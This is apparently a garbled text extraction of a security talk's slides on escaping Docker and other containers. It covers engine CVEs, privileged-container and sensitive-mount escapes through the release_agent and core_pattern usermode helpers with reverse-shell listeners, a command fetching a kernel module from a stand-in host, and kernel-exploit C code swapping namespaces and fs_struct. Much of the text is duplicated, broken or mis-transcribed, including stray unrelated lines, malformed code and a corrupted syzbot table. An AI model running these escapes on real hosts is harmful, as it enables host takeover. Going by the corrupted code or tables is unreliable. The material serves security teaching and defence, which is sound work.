Scope
Required Reading: Container Basics

Volume I: Container Engine Vulnerabilities

Volume II: Escape via Insecure Configuration

Volume III: Kernel Exploitation
Required Reading: Container Basics
Container != VM
A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources.
/proc is a special filesystem mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries.

```bash
user@host:~$ cat /proc/1/comm
systemd
```

<table>
<thead>
<tr>
<th><code>task_struct</code> attributes</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>volatile long</code> state</td>
</tr>
<tr>
<td><code>void *stack</code></td>
</tr>
<tr>
<td>...lots of fields...</td>
</tr>
<tr>
<td><code>int pid</code> 1</td>
</tr>
<tr>
<td><code>int tgid</code> 1</td>
</tr>
<tr>
<td><code>task_struct *parent</code></td>
</tr>
<tr>
<td><code>cred *cred</code></td>
</tr>
<tr>
<td><code>fs_struct *fs</code></td>
</tr>
<tr>
<td><code>char comm “systemd”</code></td>
</tr>
<tr>
<td><code>nsproxy *nsproxy</code></td>
</tr>
<tr>
<td><code>css_set *cgroups</code></td>
</tr>
<tr>
<td>...many more fields...</td>
</tr>
<tr>
<td>task_struct entry</td>
</tr>
<tr>
<td>-------------------</td>
</tr>
<tr>
<td>task-&gt;mm_struct-&gt;exe_file</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>int pid 1</td>
</tr>
<tr>
<td>int tgid 1</td>
</tr>
<tr>
<td>cred *cred</td>
</tr>
<tr>
<td>fs_struct *fs</td>
</tr>
<tr>
<td>char *comm</td>
</tr>
<tr>
<td>nsproxy *nsproxy</td>
</tr>
<tr>
<td>css_set *cgroups</td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
1. Credentials
2. Capabilities
3. Filesystem
4. Namespaces
5. Cgroups
6. LSMs
7. seccomp
1. Credentials

Credentials describe the user identity of a task, which determine its permissions for shared resources such as files, semaphores, and shared memory.

See man page credentials(7)
Summary of Calls for Modifying Process Credentials

Table 9.1 summarizes the effects of the various system calls and library functions used to change process credentials.

Figure 9.1 provides a graphical overview of the same information given in Table 9.1. This diagram shows things from the perspective of the calls that change the user IDs, but the rules for changes to the group IDs are similar.

Figure 9.1: Effect of credential changing functions

---

Seal of Lilith, Sun of Great Knowledge,

1225
Summary of Calls for Modifying Process Credentials

Table 9.1 summarizes the effects of the various system calls and library functions used to change process credentials.

Figure 9.1 provides a graphical overview of the same information given in Table 9.1. This diagram shows things from the perspective of the calls that change the user IDs, but the rules for changes to the group IDs are similar.

![Diagram of credential-changing functions](image)
Since kernel 2.2, Linux divides the privileges associated with superuser into distinct units known as **capabilities**.

```
/proc/$PID/status | man capabilities
```
## Default Docker Capabilities

<table>
<thead>
<tr>
<th>Capability</th>
<th>Capability</th>
<th>Capability</th>
</tr>
</thead>
<tbody>
<tr>
<td>CAP_KILL</td>
<td>CAP_SYS_BOOT</td>
<td>CAP_SYS_RESOURCE</td>
</tr>
<tr>
<td>CAP_CHOWN</td>
<td>CAP_SYS_TIME</td>
<td>CAP_DAC_OVERRIDE</td>
</tr>
<tr>
<td>CAP_MKNOD</td>
<td>CAP_SYS_PACCT</td>
<td>CAP_MAC_ADMIN</td>
</tr>
<tr>
<td>CAP_SETUID</td>
<td>CAP_SYS_RAWIO</td>
<td>CAP_MAC_OVERRIDE</td>
</tr>
<tr>
<td>CAP_SETGID</td>
<td>CAP_SYS_ADMIN</td>
<td>CAP_NET_ADMIN</td>
</tr>
<tr>
<td>CAP_SYSLOG</td>
<td>CAP_SYS_CHROOT</td>
<td>CAP_NET_BIND_SERVICE</td>
</tr>
<tr>
<td>CAP_FOWNER</td>
<td>CAP_SYS_MODULE</td>
<td>CAP_NET_BROADCAST</td>
</tr>
<tr>
<td>CAP_FSETID</td>
<td>CAP_SYS_PTRACE</td>
<td>CAP_NET_RAW</td>
</tr>
</tbody>
</table>

Containers are tasks which **run** _should run_ with a restricted set of capabilities; there are consistency issues across runtimes/versions.
3. Filesystem

The container’s root mount is often planted in a container-specialized filesystem, such as **OverlayFS**

```
/var/lib/docker/overlay2/...hash../diff
```
user@host:~$ docker run -it --name showfs ubuntu /bin/bash
root@df65b429b317:/#
root@df65b429b317:/# echo "hello" > /file.txt

user@host:~$ docker inspect showfs | grep UpperDir
"UpperDir": "/var/lib/docker/overlay2/4119168db2bbaeec3db0919b312983b2b49f93790453c532eeeee94c42e336b9/diff",
user@host:~$ cat/var/lib/docker/overlay2/4119168db2bbaeec3db0919b312983b2b49f93790453c532eeeee94c42e336b9/diff/file.txt
hello

TL;DR is that the container’s root of “/” really lives in 
/var/lib/docker/overlay2/...hash.../

This becomes relevant later on.
4. Namespaces

**PID:** have their own view of tasks
**User:** wrap mapping of UID to user
**Mount:** isolate mount points
**Net:** own networking environment
**UTS:** have their own hostname
**IPC:** restrict SysV IPC objects
**Cgroup:** isolate the view of cgroups

/proc/$PID/ns/
CGroups organize processes into hierarchical groups whose usage of various types of system resources can be managed.
AppArmor and SELinux are Linux security modules providing Mandatory Access Control (MAC), where access rules for a program are described by a profile.
Docker and LXC enable a default LSM profile in enforcement mode, which mostly serves to restrict a container’s access to sensitive `/proc` and `/sys` entries.

The profile also denies `mount` syscall.
### 7. seccomp

<table>
<thead>
<tr>
<th>Blocked Syscalls (SCMP_ACT_ERRNO)</th>
<th>Requires CAP_SYS_ADMIN</th>
</tr>
</thead>
<tbody>
<tr>
<td>kexec_file_load</td>
<td>sigpending</td>
</tr>
<tr>
<td>kexec_load</td>
<td>sigprocmask</td>
</tr>
<tr>
<td>membarrier</td>
<td>sigsuspend</td>
</tr>
<tr>
<td>migrate_pages</td>
<td>_sysctl</td>
</tr>
<tr>
<td>move_pages</td>
<td>sysfs</td>
</tr>
<tr>
<td>nice</td>
<td>uselib</td>
</tr>
<tr>
<td>pivot_root</td>
<td>userfault_fd</td>
</tr>
<tr>
<td>sigaction</td>
<td>vm86</td>
</tr>
<tr>
<td>bpf</td>
<td>clone</td>
</tr>
<tr>
<td>clone</td>
<td>fanotify_init</td>
</tr>
<tr>
<td>mount</td>
<td>perf_event_open</td>
</tr>
<tr>
<td>perf_event_open</td>
<td>setns</td>
</tr>
<tr>
<td>setns</td>
<td>umount</td>
</tr>
<tr>
<td>umount</td>
<td>unshare</td>
</tr>
</tbody>
</table>

**Docker’s default seccomp policy at a glance**
Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/helpers.go#L52

```go
51
52     defaultSeccompOpt = []dockerOpt{"seccomp", "unconfined", ""}.
53
```
This is a proposal to upgrade the seccomp annotation on pods & pod security policies to a field, and mark the feature as GA. This proposal aims to do the bare minimum to clean up the feature, without blocking future enhancements.

/sig-node
/sig-auth

/priority important-longterm

/assign @liggitt @dchen1107 @derekwaynecarr
/co @jessfraz
Container Security Model

What you think you can do
- Capabilities
- Credentials

What you can actually do
- LSM
- seccomp

Where you can do it
- Namespaces
- cgroups
- Filesystem
Container Security Model

What you think you can do

Capabilities
Credentials

What you can actually do

LSM
seccomp

Where you can do it

Namespaces
cgroups
Filesystem

graphic design is my passion
Volume I: Container Engine Vulnerabilities
Docker Vulnerabilities

- CVE-2015-3630
- CVE-2015-3631

- Weak /proc permissions

- CVE-2015-3627
- CVE-2019-15664

- Host FD leakage

- CVE-2015-3627
- CVE-2015-3629
- CVE-2019-15664

- Symlinks
Docker Vulnerabilities

CVE-2015-3630
CVE-2015-3631
Weak `/proc` permissions

CVE-2015-3627
CVE-2019-15664
Host FD leakage

CVE-2015-3627
CVE-2015-3629
CVE-2019-15664
Symlinks
Docker Vulnerabilities

- **Weak /proc permissions**
  - CVE-2015-3630
  - CVE-2015-3631
- **Host FD leakage**
  - CVE-2015-3627
  - CVE-2019-15664
- **Symlinks**
  - CVE-2015-3627
  - CVE-2019-15664
Recent RunC Vulnerability (CVE-2019-5736)
Here, ENTRYPOINT is `java -jar ....`, with java being in that container.
After `exec`, `ps` would output `containerd > containerd-shim > java`
The RunC Escape (CVE-2019-5736)

But if ENTRYPOINT is `/proc/self/exe`, it runs `runc` from the host.
An evil process/library in the container can get a reference to `runc` on the host.
Library execs another program, which writes to the host FD. From now on:

containerd > containerd-shim > runc
rkt - CVE-2019-10144/10145/10457

CONTAINER

PID 1

exec (ENTRYPOINT)

/proc/self/exe

rkt enter

Drop privileges, capabilities, apply seccomp, make/apply namespaces
rkt - CVE-2019-10144/10145/10457

CONTAINER

PID 1

exec(ENTRYPOINT)

/proc/self/exe

rkt enter

Drop privileges, capabilities, apply seccomp, make/apply namespaces
Volume II: Escape via Weak Deployment
The Docker socket is what you talk to whenever you run a `docker` command. You can also access it with `curl`:

```
$ # equivalent: docker run bad --privileged

$ curl --unix-socket $SOCKPATH -d '{"Image":"bad", "Privileged":"true"}' -H 'Content-Type: application/json' 0/containers/create
{"Id":"22093d29e3c35e52d1d1dd0e3540e0792d4b5e6dc1847e69a0e5bdc2d3d9982","Warnings":null}

$ curl -XPOST --unix-socket $SOCKETPATH 0/containers/22093..9982/start
```

Who would do this? People who want to run Docker inside Docker.
Bad idea #2: `--privileged` container

Running a Docker container with `--privileged` removes most of the isolation provided by containers.

$ curl -O exploit.delivery/bad.ko && insmod bad.ko
Privileged containers can also register usermode helper programs.

Felix Wilhelm @_fel1x · Jul 17

d=`dirname $(ls -x /s*/fs/c*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([\^,]\)*\/*\ perl/\1/p' /etc/mtree`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c/;chmod +x /c/sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Felix Wilhelm @_fel1x

Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature.
Segue: Usermode Helper Programs

call_usermodehelper_exec()
Usermode Helper Escape Pattern

Container

Kernel

helper_program= ""
1. get overlay path from `/etc/mtab"upperdir"`
1. get overlay path from `/etc/mtab` "upperdir"

```
/var/lib/docker/overlay2/...hash../diff
```

---

**Kernel**

`helper_program = ""`
Usermode Helper Escape Pattern

Container

1. get overlay path from `/etc/mtab “upperdir”`
2. set `payloadPath=$overlay/payload`

Kernel

`helper_program=""`
Usermode Helper Escape Pattern

**Container**

1. get overlay path from `/etc/mtab “upperdir”`
2. set `payloadPath=$overlay/payload`  
   ```
   /var/lib/docker/overlay2/..hash../diff/payload
   ```

**Kernel**

`helper_program= ""`
1. get overlay path from `/etc/mtab "upperdir"`
2. set `payloadPath=$overlay/payload`
3. mount `/special/fs`

Kernel

```
helper_program=""
```
Usermode Helper Escape Pattern

Container

1. get overlay path from /etc/mtab "upperdir"
2. set payloadPath=$overlay/payload
3. mount /special/fs
4. echo $payloadPath > /special/fs/callback

Kernel

helper_program=""
Usermode Helper Escape Pattern

**Container**

1. get overlay path from /etc/mtab "upperdir"
2. set payloadPath=$overlay/payload
3. mount /special/fs
4. echo $payloadPath > /special/fs/callback

**Kernel**

helper_program=
"/var/lib/docker/overlay2/...hash../diff/payload"
1. get overlay path from /etc/mtab "upperdir"
2. set payloadPath=$overlay/payload
3. mount /special/fs
4. echo $payloadPath > /special/fs/callback
5. trigger or wait for event

Kernel

helper_program= 
"/var/lib/docker/overlay2/...hash.../diff/payload"
1. get overlay path from `/etc/mtab "upperdir"`
2. set `payloadPath=$overlay/payload`
3. mount `/special/fs`
4. `echo $payloadPath > /special/fs/callback`
5. trigger or wait for event

```bash
exec /var/lib/docker/overlay2/..hash../diff/payload
```

```
helper_program="/var/lib/docker/overlay2/..hash../diff/payload"
```
1. get overlay path from /etc/mtab "upperdir"
2. set payloadPath=$overlay/payload
3. mount /special/fs
4. echo $payloadPath >/special/fs/callback
5. trigger or wait for event

Usermode Helper Escape Pattern

Container

1. get overlay path from /etc/mtab "upperdir"
2. set payloadPath=$overlay/payload
3. mount /special/fs
4. echo $payloadPath >/special/fs/callback
5. trigger or wait for event

Kernel

helper_program=
"/var/lib/docker/overlay2/...hash../diff/payload"

exec /var/lib/docker/overlay2/...hash../diff/payload
release_agent escape

root@85c050f5:/# mkdir /tmp/esc
root@85c050f5:/# mount -t cgroup -o rdma cgroup /tmp/esc
root@85c050f5:/# mkdir /tmp/esc/w
root@85c050f5:/# echo 1 > /tmp/esc/w/notify_on_release
root@85c050f5:/# pop="$overlay/shell.sh"
root@85c050f5:/# echo $pop > /tmp/esc/release_agent
root@85c050f5:/# sleep 5 && echo 0>/tmp/esc/w/cgroup.procs &
root@85c050f5:/# nc -l -p 9001
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/#
- release_agent
- binfmt_misc
- core_pattern
- uevent_helper
- modprobe

Car salesman: *slaps roof of usermode helper table*
You can fit so many escapes in this bad boy
Bad idea #3: Excessive Capabilities

- `CAP_SYS_MODULE`: // load a kernel module
- `CAP_SYS_RAWIO`: // access dangerous ioctl's, map
- `NULL`: // "true root" - mount, bpf, unshare..

... --privileged allows all of the above.

Running your contained process as root is probably excessive, too.
Bad idea #4: Sensitive mounts

Access to the underlying host’s `/proc` mount is a bad idea

```
docker run -v /proc:/host/proc
```
/host/proc/ is not protected by AppArmor
Bad idea #4: Sensitive mounts

Access to the underlying host’s /proc mount is a bad idea

/host/proc/sys/kernel/core_pattern
Bad idea #4: Sensitive mounts

Access to the underlying host’s `/proc` mount is a bad idea

`/host/proc/sys/kernel/core_pattern`
core_pattern escape

root@85c050f5:/# cd /host/proc/sys/kernel
root@85c050f5:/# echo "|$overlay/shell.sh" > core_pattern
root@85c050f5:/# sleep 5 && ./crash &
root@85c050f5:/# nc -l -p 9001
bash: cannot set terminal process group (-l): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/#
This was a summary of commonly used bad ideas.
Part III: Kernel Exploitation
The security model of containers is predicated on kernel integrity.
Dirty CoW (CVE-2016-5195)
The virtual dynamic shared object is a special mapping shared from the kernel with userland
vDSO

Container
PID 1337
11101
010101
001100
111001

BONUS FEATURES

vDSO

Hosty
McHostTas
PID 55551
11101
010101
001100
111001
vDSO

Container
PID 1337

1110
010101
001100
111001

BONUS FEATURES

Hosty
McHostTas
PID 55551

1110
010101
001100
111001
vDSO

Container
PID 1337
1110 010101 001100 111001

vDSO

Hosty McHostTas
PID 55551
1110 010101 001100 111001

What time() is it?
vDSO

PID 1337

Container

McHostTas

Hosty

What time() is it?

IT'S PARTY TIME

vDSO

PID 55551

1110 010101 001100 111001

1110 010101 001100 111001
Let’s talk about some common goals and patterns
Kernel

Userspace
These two are up to something
Step 1: Memory layout, state grooming, etc.
Step 2: Trigger Bug
Step 3: ROP to disable SMEP/SMAP
Step 4: Return to userland
Step 5:

commit_creds(
prepare_kernel_creds(0));
<table>
<thead>
<tr>
<th>task_struct</th>
<th>cred</th>
</tr>
</thead>
<tbody>
<tr>
<td>volatile long state</td>
<td>...lots of fields...</td>
</tr>
<tr>
<td>void *stack</td>
<td>kuid_t uid</td>
</tr>
<tr>
<td></td>
<td>kuid_t gid</td>
</tr>
<tr>
<td></td>
<td>kuid_t euid</td>
</tr>
<tr>
<td></td>
<td>kuid_t egid</td>
</tr>
<tr>
<td></td>
<td>...lots of fields...</td>
</tr>
<tr>
<td>int pid</td>
<td></td>
</tr>
<tr>
<td>int tgid</td>
<td></td>
</tr>
<tr>
<td>task_struct *parent</td>
<td>kernel_cap_t cap_inheritable</td>
</tr>
<tr>
<td>cred *cred</td>
<td>kernel_cap_t cap_effective</td>
</tr>
<tr>
<td></td>
<td>...some more fields...</td>
</tr>
<tr>
<td>fs_struct *fs</td>
<td>void *security</td>
</tr>
<tr>
<td>char comm[TASK_COMM_LEN]</td>
<td></td>
</tr>
<tr>
<td>nsproxy *nsproxy</td>
<td>user_namespace *user_ns</td>
</tr>
<tr>
<td>css_set *cgroups</td>
<td>...many more fields...</td>
</tr>
<tr>
<td>task_struct*parent</td>
<td>cred *cred</td>
</tr>
<tr>
<td>-------------------</td>
<td>------------</td>
</tr>
<tr>
<td>volatile long state</td>
<td></td>
</tr>
</tbody>
</table>
| void *stack | ...lots of fields...
| int pid | 
| int tgid | 
| fs_struct*fs | 
| char comm[TASK_COMM_LEN] | 
| nsproxy *nsproxy | 
| css_set *cgroups | 
| ...many more fields... |

<table>
<thead>
<tr>
<th>cred</th>
</tr>
</thead>
<tbody>
<tr>
<td>...lots of fields...</td>
</tr>
<tr>
<td>kuid_t uid</td>
</tr>
<tr>
<td>kuid_t gid</td>
</tr>
<tr>
<td>kuid_t euid</td>
</tr>
<tr>
<td>kuid_t egid</td>
</tr>
<tr>
<td>kernel_cap_t cap_inheritable</td>
</tr>
<tr>
<td>kernel_cap_t cap_effective</td>
</tr>
<tr>
<td>...some more fields...</td>
</tr>
<tr>
<td>void *security</td>
</tr>
<tr>
<td>user_namespace *user_ns</td>
</tr>
<tr>
<td>...many more fields...</td>
</tr>
<tr>
<td>task_struct</td>
</tr>
<tr>
<td>-------------</td>
</tr>
</tbody>
</table>
| volatile long state | ...lots of fields...
| void *stack | ...lots of fields...
| int pid | kuid_t uid |
| int tgid | kuid_t gid |
| task_struct *parent | kuid_t euid |
| cred *cred | kuid_t egid |
| fs_struct *fs | kernel_cap_t cap_inheritable |
| char comm[TASK_COMM_LEN] | kernel_cap_t cap_effective |
| nsproxy *nsproxy | ...some more fields...
| css_set *cgroups | void *security |
| | user_namespace *user_ns |
| | ...many more fields... |
Revised Container Security Model

What you think you can do
- Capabilities
- Credentials

What you can actually do
- LSM
- seccomp

Where you can do it
- Namespaces
- cgroups
- Filesystem
Revised Container Security Model

What you think you can do

- LSM
- seccomp
- User NS
- cgroups
- Filesystem

What you can actually do

- LSM
- seccomp

Where you can do it

- Namespaces
- cgroups
- Filesystem
Textbook commit_creds() payload

Assuming a new user namespace hasn’t been set, this opens up escapes similar to --privileged

Escape becomes trivial via usermode helpers ;)

For demo, we will use @andreyknvl kernel bugs
core_pattern escape

user@85c050f5:/$ ./privesc
root@85c050f5:/> mkdir /newproc
root@85c050f5:/> mount -t proc proc /newproc
root@85c050f5:/> cd /newproc/sys/kernel
root@85c050f5:/> echo "|$overlay/shell.sh" > core_pattern
root@85c050f5:/> sleep 5 && ./crash &
root@85c050f5:/> nc -l -p 9001
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/#
Kernel Exploitation

But what if they do employ user namespaces?
```c
typedef struct
{
    volatile long state;
    void *stack;
    ...lots of fields...
    int pid;
    int tgid;
    task_struct *parent;
    cred *cred;
    fs_struct *fs;
    char comm[TASK_COMM_LEN];
    nsproxy *nsproxy;
    css_set *cgroups;
    ...many more fields...
} task_struct;

typedef struct
{
    atomic_t count;
    uts_namespace *uts_ns;
    ipc_namespace *ipc_ns;
    mnt_namespace *mnt_ns;
    pid_namespace *pid_ns_for_children;
    net *net_ns;
    cgroup_namespace *cgroup_ns;
} nsproxy;
```
// copy INIT_NSPROXY to the in-container "init"
((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,
( void  *))INIT_NSPROXY);
Escaping with namespaces

// copy INIT_NS PROXY to the in-container "init"
((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,
(void *)INIT_NS PROXY);
Escaping with namespaces

// copy INIT_NS PROXY to the in-container "init"
((_switch_task_ns)(SWITCH_TASK_NS))(void *)cntnr_init,
(void *)INIT_NS PROXY);

// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,
"/proc/1/ns/mnt",
O_RDONLY,
0);
Escaping with namespaces

// copy INIT_NSPROXY to the in-container "init"
((_switch_task_ns)(SWITCH_TASK_NS))(void *)cntnr_init,
(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,
"/proc/1/ns/mnt",
O_RDONLY,
0);

// call setns() on it, giving our a better mount
((_sys_setns)(SYS_SETNS))(fd, 0);
Escaping with namespaces

// copy INIT_NSProxy to the in-container "init"
(_switch_task_ns)(SWITCH_TASK_NS)((void *)cntnr_init,
(void *)INIT_NSProxy);

// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,
"/proc/1/ns/mnt",
O_RDONLY,
0);

// call setns() on it, giving our a better mount
(_sys_setns)(SYS_SETNS)(fd, 0);

May lock your host if "PID 1" execs again :(
### task_struct

- volatile long state
- void *stack
- ...lots of fields...
- int pid
- int tgid
- task_struct *parent
- cred *cred
- fs_struct *fs
- char comm[TASK_COMM_LEN]
- nsproxy *nsproxy
- css_set *cgroups
- ...many more fields...

### fs_struct

- int users
- spinlock_t lock
- seqcount_t seq
- int umask
- int in_exec
- struct path root
- struct path pwd
task = (char*)get_task();
init = task;
while (pid != 1) {
    init = *(char**)(init + PARENT_OFFSET);
    pid = *(uint32_t*)(init + PID_OFFSET);
}
Getting true `init`

task = (char *)get_task();
init = task;
while (pid != 1) {
    init = *(char **)(init + PARENT_OFFSET);
    pid = *(uint32_t *)(init + PID_OFFSET);
}
Getting true init

task = (char *)get_task();
init = task;
while (pid != 1) {
    init = *(char **)(init + PARENT_OFFSET);
    pid = *(uint32_t *)(init + PID_OFFSET);
}

Swapping out `fs_struct`

```c
// #define TASK_FS_OFFSET = use pahole() for target kernel
// #define COPY_FS_STRUCT = check /proc/kallsyms for target kernel

*(uint64_t *)(task + TASK_FS_OFFSET) =
    ((_copy_fs_struct)(COPY_FS_STRUCT))(  
        *(uint64_t *)(init + TASK_FS_OFFSET));
```
Swapping out `fs_struct`

// #define TASK_FS_OFFSET = use pahole() for target kernel
// #define COPY_FS_STRUCT = check /proc/kallsyms for target kernel

*(uint64_t *)(task + TASK_FS_OFFSET) =
 ((copy_fs_struct)(COPY_FS_STRUCT))( *
 *(uint64_t *)(init + TASK_FS_OFFSET));

user@85c050f5:/tmp$ ./escape

// now that we have the root fs, we have free reign
root@85c050f5:/tmp# docker run -it --privileged --pid host -v /:/hostroot ubuntu
root@b33dac42:/# chroot /hostroot
# :)
Takeaways
YMMV: Differences in engines, tools, ecosystem change security of containers
Namespaces are hard
(ref: CVE-2018-18955)
Engine bugs are awesome, but probably not how you’ll get popped.
### Linux

**Instances:**

<table>
<thead>
<tr>
<th>Name</th>
<th>Active</th>
<th>Uptime</th>
<th>Corpus</th>
<th>Coverage</th>
<th>Crashes</th>
<th>Execs</th>
<th>Commit</th>
<th>Kernel build</th>
<th>Status</th>
<th>syzygy build</th>
<th>Commit</th>
<th>Freshness</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>ci-upstream-byf-kasan-gce</td>
<td>now</td>
<td>3h42m</td>
<td>12353</td>
<td>231320</td>
<td>443</td>
<td>399971</td>
<td>d6ed4d</td>
<td>984b</td>
<td>failed</td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-byf-next-kasan-gce</td>
<td>now</td>
<td>3h59m</td>
<td>12841</td>
<td>352290</td>
<td>326</td>
<td>478605</td>
<td>1827f8e</td>
<td>16d1b</td>
<td>failed</td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-gcc</td>
<td>now</td>
<td>3h11m</td>
<td>33183</td>
<td>215215</td>
<td>71</td>
<td>130463</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gce</td>
<td>now</td>
<td>3h15m</td>
<td>32692</td>
<td>680931</td>
<td>49</td>
<td>1173365</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gce-380</td>
<td>now</td>
<td>3h49m</td>
<td>23454</td>
<td>481088</td>
<td>40</td>
<td>5806059</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gcc-root</td>
<td>now</td>
<td>3h26m</td>
<td>39342</td>
<td>812214</td>
<td>79</td>
<td>8338509</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gcc-solemiz-root</td>
<td>now</td>
<td>3h44m</td>
<td>37317</td>
<td>214862</td>
<td>84</td>
<td>3319006</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gcc-sockt-root</td>
<td>now</td>
<td>3h32m</td>
<td>55934</td>
<td>59926</td>
<td>85</td>
<td>12208936</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-kasan-gcc</td>
<td>now</td>
<td>3h04m</td>
<td>48343</td>
<td>41025</td>
<td>1001</td>
<td>819433</td>
<td>2a11c26a</td>
<td>4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
</tr>
<tr>
<td>ci-upstream-linux-next-kasan-gcc-root</td>
<td>now</td>
<td>3h05m</td>
<td>42935</td>
<td>846115</td>
<td>87</td>
<td>3788364</td>
<td>6d8b2e253 4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ci-upstream-net-kasan-gcc</td>
<td>now</td>
<td>4h31m</td>
<td>20829</td>
<td>437729</td>
<td>160</td>
<td>5212706</td>
<td>31c8ee884 4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ci-upstream-net-dhis-kasan-gcc</td>
<td>now</td>
<td>1h26s</td>
<td>20526</td>
<td>452567</td>
<td>187</td>
<td>4810394</td>
<td>19e4d3c24 4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ci-upstream-ubr</td>
<td>now</td>
<td>1h23s</td>
<td>10629</td>
<td>58025</td>
<td>1254</td>
<td>1544073</td>
<td>2738b37f7 4h10m</td>
<td></td>
<td></td>
<td>567995c</td>
<td>94d4m</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### open (578):

<table>
<thead>
<tr>
<th>Title</th>
<th>Repro</th>
<th>Busted</th>
<th>Count</th>
<th>Last</th>
<th>Reported</th>
</tr>
</thead>
<tbody>
<tr>
<td>INFO_triggy to register non-static key in skl_skel_check</td>
<td>C</td>
<td>12</td>
<td>25a</td>
<td>4d4a</td>
<td></td>
</tr>
<tr>
<td>general protection fault in ssp_skb_recv_vlan旬_check</td>
<td>C</td>
<td>5</td>
<td>4003a</td>
<td>4d4h</td>
<td></td>
</tr>
<tr>
<td>WARNING in sskdbrt_open</td>
<td>C</td>
<td>38</td>
<td>51m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>KMSAN: uint-value in skb_gss_opam</td>
<td>C</td>
<td>1</td>
<td>41d5h</td>
<td>7d4m</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Write in skb_device_class</td>
<td>C</td>
<td>1</td>
<td>41d5h</td>
<td>7d4m</td>
<td></td>
</tr>
<tr>
<td>WARNING in skb_device_class_高素质_device</td>
<td>C</td>
<td>2</td>
<td>41d4h</td>
<td>7d4m</td>
<td></td>
</tr>
<tr>
<td>bpf: boot error: WARNING: `workqueue syncmark': online interrupt &gt; os...</td>
<td>C</td>
<td>9</td>
<td>51d4h</td>
<td>7d4m</td>
<td></td>
</tr>
<tr>
<td>WARNING in igmp4_get_more_than_submit</td>
<td>C</td>
<td>2</td>
<td>3d28h</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Read in ssp_skb_recv_vlan旬_check</td>
<td>C</td>
<td>1</td>
<td>40d1h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>BCC: soft lockup in tcp_wrte_re 旬</td>
<td>C</td>
<td>6</td>
<td>1d28h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>possible deadlock in tcp_wrte_re</td>
<td>C</td>
<td>1</td>
<td>7d4h</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO: ex detected stall in skb.shr.waker</td>
<td>C</td>
<td>yes</td>
<td>5</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>INFO ex detected stall in skb.shr.waker C</td>
<td>C</td>
<td>yes</td>
<td>153</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Read in skb_task_group</td>
<td>C</td>
<td>yes</td>
<td>153</td>
<td>5d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>syz</td>
<td>1</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>syz</td>
<td>2</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>KASAN: use-after-free Read in skb_task_uart</td>
<td>C</td>
<td>3</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>general protection fault in skb_skb_task_uart</td>
<td>C</td>
<td>2</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
<tr>
<td>WARNING: OPERATE: skb in skb_skb_task_uart</td>
<td>C</td>
<td>1</td>
<td>4d16h</td>
<td>7d4h</td>
<td></td>
</tr>
